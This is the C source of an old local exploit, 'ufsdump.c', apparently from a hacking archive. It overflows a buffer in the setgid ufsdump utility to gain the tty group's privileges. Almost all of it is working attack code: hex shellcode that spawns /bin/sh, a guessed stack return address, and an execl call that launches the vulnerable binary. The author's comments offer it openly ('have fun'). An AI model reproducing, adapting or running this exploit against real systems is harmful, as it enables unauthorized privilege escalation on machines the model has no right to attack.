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- /* ufsdump.c
- * Description: Overflows a buffer to give you EGID=tty.
- * At least that's what id reports.
- * The running shell thinks its still the user. Maybe I'm
- * doing something wrong? At any
- * rate, here ya go, have fun.
- *
- * smm@wpi.edu
- * Thanks to: Jesse Schachter for the box, and
- * Unknown parties for the shellcode. (probably Aleph1).
- */
-
- #include <stdio.h>
- static inline getesp()
- {
- __asm__(" movl %esp,%eax ");
- }
- main(int argc, char **argv)
- {
- int i,j,buffer,offset;
- long unsigned esp;
- char unsigned buf[4096];
- unsigned char
- shellcode[]=
- "\x55\x8b\xec\x83\xec\x08\xeb\x50\x33\xc0\xb0\x3b\xeb\x16\xc3"
- "\x33\xc0\x40\xeb\x10\xc3\x5e\x33\xdb\x89\x5e\x01\xc6\x46\x05"
- "\x07\x88\x7e\x06\xeb\x05\xe8\xec\xff\xff\xff\x9a\xff\xff\xff"
- "\xff\x0f\x0f\xc3\x5e\x33\xc0\x89\x76\x08\x88\x46\x07\x89\x46"
- "\x0c\x50\x8d\x46\x08\x50\x8b\x46\x08\x50\xe8\xbd\xff\xff\xff"
- "\x83\xc4\x0c\x6a\x01\xe8\xba\xff\xff\xff\x83\xc4\x04\xe8\xd4"
- "\xff\xff\xff/bin/sh";
- buffer=895;
- offset=3500;
- if (argc>1)buffer=atoi(argv[1]);
- if (argc>2)offset=atoi(argv[2]);
- for (i=0;i<buffer;i++)
- buf[i]=0x41; /* inc ecx */
- j=0;
- for (i=buffer;i<buffer+strlen(shellcode);i++)
- buf[i]=shellcode[j++];
- esp=getesp()+offset;
- buf[i]=esp & 0xFF;
- buf[i+1]=(esp >> 8) & 0xFF;
- buf[i+2]=(esp >> 16) & 0xFF;
- buf[i+3]=(esp >> 24) & 0xFF;
- buf[i+4]=esp & 0xFF;
- buf[i+5]=(esp >> 8) & 0xFF;
- buf[i+6]=(esp >> 16) & 0xFF;
- buf[i+7]=(esp >> 24) & 0xFF;
- printf("Offset: 0x%x\n\n",esp);
- execl("/usr/lib/fs/ufs/ufsdump","ufsdump","1",buf,NULL);
- }
- /* www.hack.co.za [2000]*/